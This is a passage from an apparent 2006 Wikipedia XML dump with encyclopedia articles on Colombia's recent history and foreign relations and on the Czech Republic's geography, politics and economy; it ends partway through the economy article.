Although the FARC and ELN accepted participation in the peace process, they did not make explicit commitments to end the conflict. The FARC suspended talks in November [[2000]], to protest what it called &quot;paramilitary terrorism&quot; but returned to the negotiating table in February [[2001]], following 2 days of meetings between President Pastrana and FARC leader Manuel Marulanda. The Colombian Government and ELN in early 2001 continued discussions aimed at opening a formal peace process.

No single explanation fully addresses the deep roots of Colombia's present-day troubles, but they include limited government presence in large areas of the interior, the expansion of illicit drug cultivation, endemic violence, and social inequities. In order to confront these challenges, the Pastrana administration unveiled its [[Plan Colombia]] in late 1999, an integrated strategy to deal with these longstanding, mutually reinforcing problems.

The main stated objectives of the original Plan Colombia were to promote peace, combat the narcotics industry, revive the Colombian economy, improve respect for human rights, and strengthen the democratic and social institutions of the country. Colombia planned to finance $4 billion of the estimated $7.5 billion overall cost, most of which would go towards the social portion of the project, but was ultimately unable to do so due to the state's 1997-1998 economic crisis.

The United States approved a $1.3 billion assistance package, mostly of military and counternarcotics nature but also including a minority amount of social aid. The Colombian Government sought additional support from the IFIs, the [[European Union]], and other countries, with the intention of financing the social component of the original plan, but met with little cooperation as the would-be donors considered that the U.S. approved aid represented an undue military slant and additionally lacked the will to spend such amounts of money. 

After the eventual breakup of the peace negotiations, which had been stalled numerous times and finally ended due to a guerrilla kidnapping of a congressman and other political figures, the Caguán demilitarized zone was terminated by the Pastrana administration. 

Soon after that, in May [[2002]], the former liberal politician of conservative leanings [[Álvaro Uribe Vélez]], whose father had been killed by left-wing guerrillas, was sworn in as Colombian president. He immediately began taking action to crush the FARC, ELN, and AUC, including the employment of citizen informants to help the police and armed forces track down suspected members in all three armed groups.

In the fall of 2002, the administration released the much-awaited Colombian national security strategy, entitled Democratic Security and Defense Policy. The Plan fit within the broader social, economic, and political goals of Plan Colombia. Though much attention has been focused on the security and military aspects of Colombia's situation, the administration also is spending significant time on issues such as expanding international trade, supporting alternate means of development, and reforming Colombia's judicial system.

==Recent developments==

[[As of 2004]], two years after its implementation began, the security situation of inside Colombia has shown some measure of an improvement and the economy, while still fragile, has also shown some positive signs according to observers, but relatively little has yet to have been accomplished in structurally solving most of the country's other grave problems, possibly in part due to legislative and political conflicts between the administration and the Colombian Congress (including those over the controversial project to eventually re-elect Uribe), and a relative lack of freely allocated funds and credits. 

Some critical observers consider that Uribe's policies, while admittedly reducing crime and guerrilla activity, might be too slanted in favor of a military solution to Colombia's internal war, neglecting grave social and human rights concerns to a certain extent. They ask for Uribe's government to change this position and make serious efforts towards improving the human rights situation inside the country, protecting civilians and reducing any abuses committed by the armed forces. 

Uribe's supporters in turn believe that increased military action is a necessary prelude to any serious negotiation attempt with the guerrillas and that the increased security situation will help to, in the long term, focus more actively on reducing most wide-scale abuses and human rights violations on the part of both the armed groups and any rogue security forces that might have links to the paramilitaries. In short, that the security situation must be stabilized in favor of the government before any other social concerns can take precedence.

With such conflicting perspectives, it can be argued that a certain polarization between both supporters and opponents of President Uribe seems to be forming both inside and outside the country.

==See also==
* [[New Granada]]
* [[Gran Colombia]]
* [[Colombia]]
* [[Colombian Armed Conflict]]

==External links==
* [http://www.state.gov/r/pa/ei/bgn/1831.htm U.S. State Department Background Note: Colombia]

{{South America in topic|History of}}

[[Category:History of Colombia|History of Colombia]]
[[Category:History of South America]]

[[bn:কলম্বিয়ার ইতিহাস]]
[[de:Geschichte Kolumbiens]]
[[es:Historia de Colombia]]
[[fr:Histoire de la Colombie]]
[[no:Colombias historie]]
[[pt:História da Colômbia]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Colombia</title>
    <id>5845</id>
    <revision>
      <id>40448636</id>
      <timestamp>2006-02-20T17:02:30Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">'''''The information in this article is mostly outdated and fails to reflect events occurring in the past half decade.'''''

{{Politics of Colombia}}
[[Colombia]] seeks diplomatic and commercial relations with all countries, regardless of their ideologies or [[politics|political]] or economic systems.

In [[1969]], it formed what is now the [[Andean Community]] along with [[Bolivia]], [[Chile]], [[Ecuador]], and [[Peru]] ([[Venezuela]] joined in 1973, and Chile left in 1976).

In the [[1980s]], Colombia broadened its bilateral and multilateral relations, joining the [[Contadora Group]], the [[Group of Eight]] (now the [[Rio Group]]), and the [[Non-Aligned Movement]], which it chaired from 1994 until September 1998. In addition, it has signed free trade agreements with Chile, [[Mexico]], and Venezuela.

Colombia has traditionally played an active role in the [[United Nations]] and the Organization of American States and in their subsidiary agencies. Former President [[Cesar Gaviria]] became Secretary General of the OAS in September 1994 and was reelected in 1999. Colombia was a participant in the December 1994 and April 1998 Summits of the Americas and followed up on initiatives developed at the summit by hosting two post-summit, ministerial-level meetings on trade and science and technology.

Colombia regularly participates in international fora, including CICAD, the Organization of American States' body on [[money laundering]], chemical controls, and drug abuse prevention. Although the Colombian Government ratified the [[1988 UN Convention on Narcotics]] in 1994 -- the last of the Andean governments to do so--it took important reservations, notably to the anti-money-laundering measures, asset forfeiture and confiscation provisions, maritime interdiction, and extradition clauses. Colombia subsequently withdrew some of its reservations, most notably a reservation on extradition.

== Disputes - international ==
Maritime boundary dispute with Venezuela in the [[Gulf of Venezuela]]; territorial disputes with Nicaragua over Archipelago de San Andres y Providencia and Quita Sueno Bank

Colombia is in an ongoing mid-level dispute with Ireland over the return of three Irish citizens. The men were convicted of crimes surrounding their use of false passports. They escaped while on bail and the Irish government and media are aware of their presence in Ireland.

== Illicit drugs ==
illicit producer of [[coca]], [[opium]] poppies, and [[cannabis (drug)|cannabis]]:

* world's leading coca cultivator (cultivation of coca in 1998 - 1015 km&amp;sup2, a 28% increase over 1997)
* cultivation of opium in 1998 remained steady at 66 km&amp;sup2;; potential production of opium in 1997 - 66 metric [[ton]]s, a 5% increase over 1996;
* the world's largest processor of coca derivatives into [[cocaine]]; supplier of cocaine to the US and other international drug markets, and an important supplier of [[heroin]] to the US market; active aerial eradication program

=== Narcotics cultivation and control ===
Colombia is the world's leading supplier of refined cocaine and a growing source for heroin. More than 90% of the cocaine that enters the United States is produced, processed, or transshipped in Colombia. The cultivation of coca more than doubled in 1999 to 302,500 acres (1224&amp;nbsp;km&amp;sup2;) from 125,700 acres (509&amp;nbsp;km&amp;sup2;) in 1995, primarily in areas where government control is weak.

Despite the death of Medellin cartel drug kingpin [[Pablo Escobar]] in 1993 and the arrests of major Cali cartel leaders in 1995 and 1996, Colombian drug cartels remain among the most sophisticated criminal organizations in the world, controlling cocaine processing, international wholesale distribution chains, and markets. In 1999 Colombian police arrested over 30 narcotraffickers, most of them extraditable, in &quot;Operation Millennium&quot; involving extensive international cooperation. More arrests were made in a following &quot;Operation Millennium II.&quot;

Colombia is engaged in a broad range of narcotics control activities. Through aerial spraying of herbicide and manual eradication, Colombia has attempted to keep coca, opium poppy, and cannabis cultivation from expanding. The government has committed itself to the eradication of all illicit crops, interdiction of drug shipments, and financial controls to prevent money laundering. Alternative development programs were introduced in 1999.

Corruption and intimidation by traffickers complicate the drug-control efforts of the institutions of government. Colombia passed revised criminal procedures code in 1993 that permits traffickers to surrender and negotiate lenient sentences in return for cooperating with prosecutors. In December 1996 and February 1997, however, the Colombian Congress passed legislation to toughen sentencing, asset forfeiture, and money-laundering penalties.

In November 1997, the Colombian Congress amended the constitution to permit the extradition of Colombian nationals, albeit not retroactively. In late 1999, President Pastrana authorized the first extradition in almost 10 years of a Colombian trafficker to stand trial for U.S. crimes. Three such extraditions to the United States have taken place, the most recent in August 2000, with cases against others pending in Colombian courts.

{{South America in topic|Foreign relations of}}

[[category:Government of Colombia]]
[[Category:Foreign relations by country|Colombia, Foreign affairs of]]

[[no:Colombias utenrikspolitikk]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Czech Republic</title>
    <id>5846</id>
    <revision>
      <id>38900463</id>
      <timestamp>2006-02-09T10:28:50Z</timestamp>
      <contributor>
        <username>Akamad</username>
        <id>292168</id>
      </contributor>
      <comment>Revert to revision 38900368 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Location:'''
Central Europe, southeast of Germany

[[Image:Ez-map.png|right|Map of the Czech Republic]]

'''Geographic coordinates:'''
{{coor dm|49|45|N|15|30|E|}}

'''Map references:'''
Europe

'''Area:'''
&lt;br&gt;''total:''
78,866 km²
&lt;br&gt;''land:''
77,276 km²
&lt;br&gt;''water:''
1,590 km²

'''Area - comparative:'''
slightly smaller than [[South Carolina]]

'''Land boundaries:'''
&lt;br&gt;''total:''
1,881 km
&lt;br&gt;''border countries:''
[[Austria]] 362 km, [[Germany]] 646 km, [[Poland]] 658 km, [[Slovakia]] 215 km

'''Coastline:'''
0 km (landlocked)

'''Maritime claims:'''
none (landlocked)

'''Climate:'''
temperate; hot summers; cold, cloudy, white winters

'''Terrain:'''
[[Bohemia]] in the west consists of rolling plains, hills, and plateaus surrounded by low mountains; [[Moravia]] in the east consists of very hilly country

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
[[Elbe]] River 115 m
&lt;br&gt;''highest point:''
[[Sněžka]] 1602 m

'''Natural resources:'''
[[hard coal]], [[soft coal]], [[kaolin]], [[clay]], [[graphite]], [[timber]]

'''Land use:'''
&lt;br&gt;''arable land:''
41%
&lt;br&gt;''permanent crops:''
2%
&lt;br&gt;''permanent pastures:''
11%
&lt;br&gt;''forests and woodland:''
34%
&lt;br&gt;''other:''
12% (1993 est.)

'''Irrigated land:'''
240 km² (1993 est.)

'''Natural hazards:'''
flooding

'''Environment - current issues:'''
air and water pollution in areas of northwest Bohemia and in northern Moravia around [[Ostrava]] present health risks; acid rain damaging forests

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Air Pollution, Air Pollution-Nitrogen Oxides, Air Pollution-Sulphur 85, Air Pollution-Sulphur 94, Air Pollution-Volatile Organic Compounds, Antarctic Treaty, Biodiversity, Climate Change, Climate Change-Kyoto Protocol,
Endangered Species, Environmental Modification, Hazardous Wastes, Law of the Sea, Nuclear Test Ban, Ozone Layer Protection, Ship Pollution, Wetlands
&lt;br&gt;''signed, but not ratified:''
Air Pollution-Persistent Organic Pollutants, Antarctic-Environmental Protocol
&lt;br&gt;'''Geography - note:'''
landlocked; strategically located astride some of oldest and most significant land routes in Europe; Moravian Gate is a traditional military corridor between the North European Plain and the [[Danube]] in central Europe

:''See also :'' [[Czech Republic]]

[[Category:Geography of the Czech Republic| ]]
[[Category:Geography by country|Czech Republic]]

[[lt:Čekijos geografija]]
[[pt:Geografia da República Checa]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Czech Republic</title>
    <id>5848</id>
    <revision>
      <id>40945513</id>
      <timestamp>2006-02-24T01:13:07Z</timestamp>
      <contributor>
        <username>Pavel Vozenilek</username>
        <id>87110</id>
      </contributor>
      <minor />
      <comment>rv spam</comment>
      <text xml:space="preserve">{{Politics of the Czech Republic}}
'''Politics of the [[Czech Republic]]''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[republic]], whereby the [[List of Prime Ministers of the Czech Republic|Prime Minister]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the two chambers of parliament, the [[Chamber of Deputies of the Czech Republic|Chamber of Deputies]] (''Poslanecká Sněmovna'') and the [[Senate of the Czech Republic|Senate]].

==Political developments==
The [[Czech Republic|Czech]] [[politics|political]] scene supports a broad spectrum of [[political party|parties]] ranging from the semi-reformed [[Communist Party of Bohemia and Moravia|Communist Party]] on the far left to various nationalistic parties on the extreme right. Generally, the (liberal) right beyond the specific case of huge [[Civic Democratic Party]] is splintered and has failed in several attempts to unite.

Czech voters returned a split verdict in the June [[2002]] parliamentary elections, giving the left-of-center [[Czech Social Democratic Party|Social Democrats]] (ČSSD) and Communists majority, without any posibility to form functional [[government]] together due to [[Vladimír Špidla]]'s strong anticommunism. The results produced a ČSSD coalition government with [[Christian Democratic Union - Czechoslovak People's Party|Christian Democrats]] (KDU-ČSL) and [[Freedom Union-Democratic Union|Liberals]] (US-DEU), while [[Civic Democratic Party|Civic Democrats]] (ODS) and Communists (KSČM) took place in opposition. The vote ratio was the tiniest 101:99. After many buffetings and, finally, catastrophic results of the June 2004 [[European Parliament]] elections the government was reshuffled on the same basis but with Špidla ousted after a revolt in his own party.

As the system in Czech conditions repeatedly produces very weak governments (a specific problem is about 20% support of the Communists shunned by all the other parties) there is a constant talk about changing it but without much chance of really pushing the reform through. An attempt to increase majority elements by tweaking the system parameters (more smaller districts etc.) by ČSSD and ODS during their &quot;opposition agreement&quot; 1998-2002 was vehemently opposed by smaller parties and blocked by the Constitutional Court as going too much against the constitution-stated proportional principle.

==Executive branch==
{{office-table}}
|[[List of presidents of the Czech Republic|President]]
|[[Václav Klaus]]
|[[Civic Democratic Party|ODS]]
|[[7 March]] 2003
|-
|[[List of Prime Ministers of the Czech Republic|Prime Minister]]
|[[Jiří Paroubek]]
|[[Czech Social Democratic Party|ČSSD]]
|May [[2005]]
|}
The president is elected by Parliament for a five-year term; election last held [[28 February]] [[2003]]. The prime minister is appointed by the president. Cabinet appointed by the president on the recommendation of the prime minister
The [[Prime Minister]] is the head of government and wields considerable powers, including the right to set the agenda for most foreign and domestic policy, mobilize the parliamentary majority, and choose governmental ministers.

[[Václav Klaus]], now [[President]] of the Czech Republic, former Prime Minister and chairman of Civic Democrats (ODS) remains one of the country's most popular politicians. As formal head of state, he is granted limited specific powers such as the right to enact a veto on legislation, nominate [[Constitutional Court]] judges, appoint the prime minister and dissolve parliament under certain special and rare conditions.

==Legislative branch==
The [[Parliament of the Czech Republic|Parliament]] (''Parlament České Republiky'') has [[bicameralism|two chambers]]. The [[Chamber of Deputies of the Czech Republic|Chamber of Deputies]] (''Poslanecká Sněmovna'') has 200 members, elected for a four year term by [[proportional representation]] with a 5 % [[election threshold]]. The [[Senate of the Czech Republic|Senate]] (''Senát'') has 81 members, in single-seat [[constituency|constituencies]] elected by two-round [[runoff voting]] for a six-year term, with one third renewed every even year in the autumn.
After the split of the former [[Czechoslovakia]], the powers and responsibilities of the now defunct federal parliament were transferred to the Czech National Council, which renamed itself the Chamber of Deputies. Chamber delegates are elected for 4-year terms on the basis of [[proportional representation]] with 5% [[election threshold]]. There are 14 voting districts identical to the country's administrative regions.
The Czech Senate was first elected in 1996; its members serve for 6-year terms with one-third being elected every 2 years. This is patterned after the [[United States Senate|U.S. Senate]] but each constituency is of (roughly) same size and the system used is two-round [[runoff voting]]. The Senate is unpopular among the public and suffers from low election turnout (as low as 10 per cent in some districts).

==Political parties and elections==
{{elect|List of political parties in the Czech Republic|Elections in the Czech Republic}}
{{Czech legislative election, 2002}}
{{Czech senate election, 2004}}

==Judicial branch==
The country's highest court of appeals is the [[Supreme Court]]. The Constitutional Court, which rules on constitutional issues, is appointed by the president, and its 15 members serve 10-year terms.

==Administrative divisions==
The Czech Republic is divided in 14 [[Regions of the Czech Republic|Regions]] including the capital of Prague. The older 73 districts (okresy, singular - okres) and 4 municipalities* (města, singular - město) have been disbanded in an ill-executed administrative reform; however are still traditionally recognized and remain the seats of various branches of state administration:
[[Benešov]], [[Beroun]], [[Blansko]], [[Břeclav]], [[Brno]]-město*, Brno-venkov, [[Bruntál]], [[České Budějovice]], [[Česká Lípa]], [[Český Krumlov]], [[Cheb]], [[Chomutov]], [[Chrudim]], [[Děčín]], [[Domažlice]], [[Frýdek-Místek]], [[Havlíčkův Brod]], [[Hodonín]], [[Hradec Králové]], [[Jablonec nad Nisou]], [[Jeseník]], [[Jičín]], [[Jihlava]], [[Jindřichův Hradec]], [[Karlovy Vary]], [[Karviná]], [[Kladno]], [[Klatovy]], [[Kolín]], [[Kroměříž]], [[Kutná Hora]], [[Liberec]], [[Litoměřice]], [[Louny]], [[Mělník]], [[Mladá Boleslav]], [[Most]], [[Náchod]], [[Nový Jičín]], [[Nymburk]], [[Olomouc]], [[Opava]], [[Ostrava]]*, [[Pardubice]], [[Pelhřimov]], [[Písek]], [[Plzeň]]*, Plzeň-jih, Plzeň-sever, [[Prachatice]], [[Prague|Praha]]*, Praha-Východ, Praha-Západ, [[Přerov]], [[Příbram]], [[Prostějov]], [[Rakovník]], [[Rokycany]], [[Rychnov nad Kněžnou]], [[Semily]], [[Sokolov]], [[Strakonice]], [[Šumperk]], [[Svitavy]], [[Tábor]], [[Tachov]], [[Teplice]], [[Trutnov]], [[Třebíč]], [[Uherské Hradiště]], [[Ústí nad Labem]], [[Ústí nad Orlicí]], [[Vsetín]], [[Vyškov]], [[Žďár nad Sázavou]], [[Zlín]], [[Znojmo]]

==International organization participation==
The Czech Republic is member of [[Australia Group]], [[Bank for International Settlements|BIS]], [[Council of Europe|CE]], [[CEI]], [[CERN]], [[Euro-Atlantic Partnership Council|EAPC]], [[European Bank for Reconstruction and Development|EBRD]], [[United Nations Economic Commission for Europe|ECE]], [[European Union|EU]] (among the 10 new members since May 2004), [[Food and Agriculture Organization|FAO]], [[International Atomic Energy Agency|IAEA]], [[World Bank|IBRD]], [[International Civil Aviation Organization|ICAO]], [[International Confederation of Free Trade Unions|ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[International Energy Agency|IEA]] (observer), [[International Finance Corporation|IFC]], [[International Federation of Red Cross and Red Crescent Societies|IFRCS]], [[International Labour Organization|ILO]], [[International Monetary Fund|IMF]], [[International Maritime Organization|IMO]], [[Inmarsat]], [[International Telecommunications Satellite Organization|Intelsat]], [[International Criminal Police Organization - Interpol|Interpol]], [[International Olympic Committee|IOC]], [[International Organisation for Migration|IOM]], [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[NATO]], [[Nuclear Energy Agency|NEA]], [[Nuclear Suppliers Group|NSG]], OAS (observer), [[Organization for Economic Co-operation and Development|OECD]], [[Organisation for the Prohibition of Chemical Weapons|OPCW]], [[Organization for Security and Co-operation in Europe|OSCE]], [[Permanent Court of Arbitration|PCA]], [[Partnership for Peace|PFP]], [[United Nations|UN]], [[United Nations Conference on Trade and Development|UNCTAD]], [[United Nations Educational, Scientific and Cultural Organization|UNESCO]], [[United Nations Industrial Development Organization|UNIDO]], [[United Nations Mission in Kosovo|UNMIK]], [[United Nations Mission of Observers in Prevlaka|UNMOP]], [[United Nations Mission of Observers in Tajikistan|UNMOT]], [[United Nations Observer Mission in Georgia|UNOMIG]], [[Universal Postal Union|UPU]], [[Visegrád group]], [[World Customs Organization|WCO]], [[Western European Union|WEU]] (associate), [[World Federation of Trade Unions|WFTU]], [[World Health Organization|WHO]], [[World Intellectual Property Organization|WIPO]], [[World Meteorological Organization|WMO]], [[World Tourism Organization|WToO]], [[World Trade Organization|WTrO]], [[Zangger Committee]]

==External links==

http://www.volby.cz/ - website with results of all elections in Czech and English

[[Category:Politics of the Czech Republic]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Czech Republic</title>
    <id>5849</id>
    <revision>
      <id>40055635</id>
      <timestamp>2006-02-17T20:33:11Z</timestamp>
      <contributor>
        <username>Pavel Vozenilek</username>
        <id>87110</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">{{cleanup-date|October 2005}}

{| border=1 cellspacing=0  cellpadding=4 width=300 style=&quot;float:right; border:1px solid gray; border-collapse:collapse; font-size:90%; margin:0 0 .5em 1em;&quot;
!align=&quot;center&quot; bgcolor=&quot;lightblue&quot; colspan=&quot;3&quot;|&lt;big&gt;Economy of the Czech Republic&lt;/big&gt;
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Currency
|colspan=&quot;2&quot; valign=&quot;top&quot;|1 [[Czech koruna]] (Kč) 
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Fiscal year
|colspan=&quot;2&quot; valign=&quot;top&quot;|calendar year
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Trade organizations
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[EU]], [[WTO]] and [[OECD]]
|-
!align=&quot;center&quot; bgcolor=&quot;lightblue&quot; colspan=&quot;3&quot;|Statistics
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Gross domestic product|GDP]] ranking
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[List of countries by GDP (nominal)|39th]] by nominal volume;   [[List of countries by GDP (nominal) per capita|39th]] by nominal volume per capita;   [[List of countries by GDP (PPP)|41st]] by volume adjusted for [[Purchasing Power Parity|PPP]]; [[List of countries by GDP (PPP) per capita|40th]] per capita adjusted for PPP (2004) 
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP PPP
|colspan=&quot;2&quot; valign=&quot;top&quot;|$187.5 billion (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP growth rate 
|colspan=&quot;2&quot; valign=&quot;top&quot;|4.7% (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP per capita
|colspan=&quot;2&quot; valign=&quot;top&quot;|$19,488 (2005 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|GDP by sector 
|colspan=&quot;2&quot; valign=&quot;top&quot;|agriculture (3.4%), industry (39.3%), services (57.3%) (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Inflation]] rate
|colspan=&quot;2&quot; valign=&quot;top&quot;|1.9% (2005 est.)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Pop below [[poverty line]] 
|colspan=&quot;2&quot; valign=&quot;top&quot;|N/A
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Labour force 
|colspan=&quot;2&quot; valign=&quot;top&quot;|5.25m (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Labour force by occupation
|colspan=&quot;2&quot; valign=&quot;top&quot;|services (58%), industry (38%), agriculture (4%) (2002)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Unemployment]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|8.3% (2004) 
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Main industries
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[motor vehicles]] and parts, machine tools, [[electric power]] equipment, [[metals]], [[chemicals]], [[coal]], [[food processing]], [[glass]], [[beverages]], [[tourism]]
|-
!align=&quot;center&quot; bgcolor=&quot;lightblue&quot; colspan=&quot;3&quot;|Trading partners
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Exports
|colspan=&quot;2&quot; valign=&quot;top&quot;|$66.5bn (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Main partners
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Germany]] 36.1%, [[Slovakia]] 8.4%, [[Austria]] 6%, [[Poland]] 5.3%, [[UK]] 4.7%, [[France]] 4.7%, [[Italy]] 4.3%, [[Netherlands]] 4.3% (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Imports
|colspan=&quot;2&quot; valign=&quot;top&quot;|$68.2bn (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Main partners
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Germany]] 31.7%, [[Slovakia]] 5.4%, [[Italy]] 5.3%, [[China]] 5.2%, [[Poland]] 4.8%, [[France]] 4.8%, [[Russia]] 4.1% (2004)
|-
!align=&quot;center&quot; bgcolor=&quot;lightblue&quot; colspan=&quot;3&quot;|Public finances
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Public debt
|colspan=&quot;2&quot; valign=&quot;top&quot;|33.5% of GDP (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|External debt 
|colspan=&quot;2&quot; valign=&quot;top&quot;|$36.3bn (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Revenues 
|colspan=&quot;2&quot; valign=&quot;top&quot;|$39.3bn (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Expenses
|colspan=&quot;2&quot; valign=&quot;top&quot;|$45.8bn (2004)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Economic aid 
|colspan=&quot;2&quot; valign=&quot;top&quot;|$2.4bn from EU funds (2004-06)
|}

Of the emerging democracies in [[Central Europe|central]] and [[eastern Europe]], the [[Czech Republic]] has one of the most developed [[industrialized economy|industrialized economies]]. Its strong industrial tradition dates to the [[19th century]], when [[Bohemia]] and [[Moravia]] were the economic heartland of the [[Austro-Hungarian Empire]]. Today, this heritage is both an [[asset]] and a [[liability]]. The Czech Republic has a well-educated population and a well-developed [[infrastructure]], but its industrial plants and much of its industrial equipment are obsolete.

According to the [[Stalin]]ist development policy of planned interdependence, all the economies of the [[socialist]] countries were linked tightly with that of the [[Soviet Union]]. With the disintegration of the communist economic alliance in [[1991]], Czech manufacturers lost their traditional markets among former communist countries to the east, some of which still owe the former Czechia sizable debts.

The Czech Republic is reducing its dependence on highly polluting low-grade [[brown coal]] as a source of energy. [[Nuclear energy]] presently provides about 30 % of total power needs, and its share is projected to increase to 40%. [[Norway]] (via [[pipeline]]s through [[Germany]]) and [[Russia]] also supply the Czech Republic with liquid and [[natural gas]].

The principal industries are heavy and general machine-building, [[iron]] and [[steel]] production, metalworking, [[chemistry|chemical]] production, [[electronics]], transportation equipment, [[textile]]s, [[glass]], brewing, china, [[ceramic]]s, and [[pharmaceutical]]s. It's main agricultural products are [[sugarbeet]]s, [[fodder root]]s, [[potato]]es, [[wheat]], and [[hops]].

The &quot;[[Velvet Revolution]]&quot; in [[1989]] offered a chance for profound and sustained economic reform. Signs of economic resurgence began to appear in the wake of the shock therapy that the [[International Monetary Fund]] (IMF) labelled the &quot;big bang&quot; of January 1991. Since then, astute economic management has led to the liberalization of 95% of all price controls, annual inflation in the 10% range, modest [[budget deficit]]s, low [[unemployment]], a positive [[balance of payments]] position, a stable [[exchange rate]], a shift of exports from former [[Eastern bloc|communist economic bloc]] markets to [[Western Europe]], and relatively low [[foreign debt]].

Particularly impressive have been the Republic's strict [[fiscal policy|fiscal policies]]. Following a series of currency [[devaluation]]s, the [[koruna|crown]] has remained stable in relation to the [[United States dollar|U.S. dollar]]. The Czech crown became fully [[convertibility|convertible]] for most business purposes in late [[1995]].

In addition, the government has revamped the legal and administrative structure governing [[investment]] in order to stimulate the economy and attract foreign partners. Shifting emphasis from the East to the West has necessitated restructuring existing facilities in banking and telecommunications as well as adjusting commercial laws and practices to fit Western standards. The republic has made progress toward creating a stable investment climate.

This success has enabled the Czech Republic to become the first post-communist country to receive an investment-grade credit rating by international credit institutions. Successive Czech governments have welcomed [[United States of America|U.S.]] investment, in particular, as a counter-balance to the strong economic influence of Western Europe, especially of their powerful neighbour, [[Germany]]. &lt;!-- Which was not always successful, see the flop with Boeing vs Aero Vodochody. --&gt; Although [[foreign direct investment]] (FDI) runs in uneven cycles, with a 12.9% share of total FDI between 1990 and March 1998, the U.S. was the third-largest foreign investor in the Czech economy, behind Germany and the [[Netherlands]].

The republic boasts a flourishing consumer production sector and has [[privatization|privatized]] most state-owned heavy industries through the [[voucher privatization]] system. Under the system, every citizen was given the opportunity to buy, for a moderate price, a book of vouchers that represents potential shares in any state-owned company. The voucher holders could then invest their vouchers, infusing the chosen company with valuable capital. State ownership of businesses was estimated to be about 97% under [[communism]]. In [[1998]], more than 80% of enterprises are in private hands. When the voucher privatization process is complete, Czechs will own shares of each of the Czech companies, making them one of the highest per capita share owners in the world. Privatization through restitution of real estate to the former owners was largely completed in 1992.&lt;!-- The voucher privatization is already finished. Some people think it was a flop. Shouldn't it be reflected here? --&gt;

The republic's economic transformation is far from complete. A recession in 1998 revealed that the government still faces serious challenges in completing industrial restructuring, increasing [[transparency (humanities)|transparency]] in [[capital market]] transactions, fully [[privatization|privatizing]] the [[banking]] sector, transforming the [[housing]] sector, privatizing the [[health care]] system, and solving serious environmental problems.

'''Economy - overview:'''
Political and financial crises in [[1997]] shattered the Czech Republic's image as one of the most stable and prosperous of post-Communist states. Delays in enterprise restructuring and failure to develop a well-functioning capital market played major roles in Czech economic troubles, which culminated in a currency crisis in May. The currency was forced out of its fluctuation band as investors worried that the current account deficit, which reached nearly 8% of [[Gross Domestic Product|GDP]] in [[1996]], would become unsustainable. After expending $3 [[billion]] (3 G$) in vain to support the currency, the central bank let it float. The growing current account imbalance reflected a surge in domestic demand and poor export performance, as wage increases outpaced productivity. The government was forced to introduce two [[austerity]] packages later in the spring (called vernacularly &quot;The Packages&quot;), which cut government spending by 2.5% of [[gross domestic product]]. Growth dropped to 0.3% in 1997, -2.3% in 1998, and -0.5% in 1999. The basic transition problem continues to be too much direct and indirect government influence on the privatized economy. The government established a restructuring agency in 1999 and launched a revitalization program - to spur the sale of firms to foreign companies. Key priorities include accelerating legislative convergence with [[European Union|EU]] norms, restructuring enterprises, and privatizing banks and utilities. The economy, fuelled by increased export growth and investment, is expected to recover in 2000.

==Other statistics==

'''Household income or consumption by percentage share:''' (1996)
*''lowest 10%:'' 4.3%
*''highest 10%:'' 22.4%

'''Industrial production growth rate:''' 11% (2004)

'''Electricity - production:''' 70.04 GWh (2001)

'''Electricity - production by source:'''
*''fossil fuel:'' 75.54%
*''hydro:'' 2.55%
*''nuclear:'' 20.37%
*''other:'' 1.54% (1998)

'''Electricity - consumption:''' 55.6 billion kWh (2001), 54,733 GWh (1998)

'''Electricity - exports:''' 18,92 GWh (2001)

'''Electricity - imports:''' 9,38 GWh (2001)

'''Natural resources:''' coal, timber, lignite, uranium, magnesite.

'''Agriculture - products:'''
wheat, rye, oats, corn, barley, potatoes, sugar beets, hops, fruit; pigs, cattle, poultry, horses; forest products

'''Exports - commodities:'''
machinery and transport equipment 44%, other manufactured goods 40%, chemicals 7%, raw materials and fuel 7% (2000)

'''Imports - commodities:'''
machinery and transport equipment 40%, intermediate manufactures 21%, chemicals 11%, raw materials and fuels 13%(2000)

'''Exchange rates:'''
